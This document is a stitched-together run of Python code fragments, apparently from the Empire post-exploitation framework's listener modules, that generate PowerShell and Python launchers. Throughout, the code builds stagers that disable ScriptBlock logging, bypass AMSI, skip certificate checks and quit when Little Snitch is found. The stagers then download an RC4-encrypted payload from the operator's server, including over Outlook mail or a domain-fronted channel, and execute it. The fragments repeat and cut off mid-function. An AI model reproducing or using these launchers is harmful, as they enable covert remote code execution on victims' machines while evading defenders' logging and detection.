routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization(
'$mail = $' +
helpers.generate_random_script_var_name("GPF") +
'.CreateItem(0);$mail.Subject = "')
stager += 'mailpireout";'
stager += helpers.randomize_capitalization('$mail.Body = ')
stager += '"STAGE - %s"' % b64RoutingPacket
stager += helpers.randomize_capitalization(
';$mail.save() | out-null;')
stager += helpers.randomize_capitalization(
'$mail.Move($fld)| out-null;')
stager += helpers.randomize_capitalization(
'$break = $False; $data = "";')
stager += helpers.randomize_capitalization(
"While ($break -ne $True){")
stager += helpers.randomize_capitalization(
'$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;'
)
stager += helpers.randomize_capitalization(
'$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}'
)
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print(
helpers.color(
"[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_mapi generate_launcher(): invalid listener name specification!"
))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', payloadRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
requestHeader = listenerOptions['RequestHeader']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
payload = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
payload = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
payload += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
payload += "'System.Management.Automation.Utils'"
payload += helpers.randomize_capitalization(").\"GetFie`ld\"(")
payload += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
payload += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
payload += "['ScriptB'+'lockLogging']"
payload += helpers.randomize_capitalization("){$GPC")
payload += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
payload += helpers.randomize_capitalization("$GPC")
payload += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
payload += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
payload += "('EnableScriptB'+'lockLogging',0);"
payload += helpers.randomize_capitalization("$val.Add")
payload += "('EnableScriptBlockInvocationLogging',0);"
payload += helpers.randomize_capitalization("$GPC")
payload += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
payload += helpers.randomize_capitalization("=$val}")
payload += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
payload += "'signatures','N'+'onPublic,Static'"
payload += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
payload += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
payload += "'System.Management.Automation.AmsiUtils'"
payload += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
payload += "'amsiInitFailed','NonPublic,Static'"
payload += helpers.randomize_capitalization(").SetValue($null,$true)};")
payload += "};"
payload += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
# TODO: reimplement payload retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
payload += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
payload += "'%s');" % (stagingKey)
# this is the minimized RC4 payload code from rc4.ps1
payload += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
payload += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
payload += "$ser='%s';$t='%s';" % (host, stage0)
# add the RC4 packet to a header location
payload += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket)
#Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
if headerKey.lower() == "host":
modifyHost = True
payload += "`r`n%s: %s" % (headerKey, headerValue)
payload += "\";"
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
payload += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};")
payload += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
payload += "while($ie.busy){Start-Sleep -Milliseconds 100};"
payload += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
payload += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
payload += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
payload += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
payload = helpers.obfuscate(self.mainMenu.installPath, payload, obfuscationCommand=obfuscationCommand)
# base64 encode the payload and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(payload, launcher)
else:
# otherwise return the case-randomized payload
return payload
else:
print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
else:
print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
def generate_launcher(self,
encode=True,
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color(
'[!] listeners/http_hop generate_launcher(): no language specified!'
)
if listenerName and (listenerName
in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['RedirectStagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = ''
if safeChecks.lower() == 'true':
# @mattifestation's AMSI bypass
stager = helpers.randomize_capitalization(
"[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(
')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(
").SetValue($null,$true)};")
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
stager += helpers.randomize_capitalization(
"$wc=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
stager += "$u='" + userAgent + "';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization(
'$wc.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization(
"$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
)
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization(
"$proxy=New-Object Net.WebProxy;")
stager += helpers.randomize_capitalization(
"$proxy.Address = '" + proxy.lower() + "';")
stager += helpers.randomize_capitalization(
"$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization(
"$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
)
else:
# TODO: implement form for other proxy credentials
pass
# TODO: reimplement stager retries?
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += "$ser='%s';$t='%s';" % (host, stage0)
stager += helpers.randomize_capitalization(
"$data=$WC.DownloadData($ser+$t);")
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
# base64 encode the stager and return it
if encode:
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if 'https' in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stagger: " + str(e)
print helpers.color(p, color='red')
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='PYTHON',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (
b64RoutingPacket)
launcherBase += "import urllib2\n"
launcherBase += "if urllib2.getproxies():\n"
launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n"
# download the stager and extract the IV
launcherBase += "a=o.open(server+t).read();"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (
launchEncoded)
return launcher
else:
return launcherBase
else:
print helpers.color(
"[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
)
else:
print helpers.color(
"[!] listeners/http_hop generate_launcher(): invalid listener name specification!"
)
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
stager += "$outlook = New-Object -comobject Outlook.Application;"
stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("')
stager += 'MAPI");'
if listenerOptions['Email']['Value'] != '':
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};'
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};'
else:
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");'
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
# clear out all existing mails/messages
stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}")
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "')
stager += 'mailpireout";'
stager += helpers.randomize_capitalization('$mail.Body = ')
stager += '"STAGE - %s"' % b64RoutingPacket
stager += helpers.randomize_capitalization(';$mail.save() | out-null;')
stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;')
stager += helpers.randomize_capitalization('$break = $False; $data = "";')
stager += helpers.randomize_capitalization("While ($break -ne $True){")
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;')
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}')
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
else:
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
stager += "$u='"+userAgent+"';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization('$wc.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
#save the proxy settings to use during the entire staging process and the agent
stager += "$Script:Proxy = $wc.Proxy;"
# TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ser='%s';$t='%s';" % (host, stage0)
#Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if headerKey.lower() == "host":
stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);")
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if "https" in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stager: " + str(e)
print helpers.color(p, color='red')
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
launcherBase += "import urllib2;\n"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
launcherBase += "req=urllib2.Request(server+t);\n"
# add the RC4 packet to a cookie
launcherBase += "req.add_header('User-Agent',UA);\n"
launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket)
# Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
#launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue)
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
else:
proto = proxy.Split(':')[0]
launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "o = urllib2.build_opener();\n"
#install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=urllib2.urlopen(req).read();\n"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % (launchEncoded)
return launcher
else:
return launcherBase
else:
print helpers.color("[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module.")
else:
print helpers.color("[!] listeners/http generate_launcher(): invalid listener name specification!")
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
payloadRetries='0',
language=None,
safeChecks='',
listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color(
'[!] listeners/http_hop generate_launcher(): no language specified!'
)
if listenerName and (listenerName
in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['RedirectStagingKey']['Value']
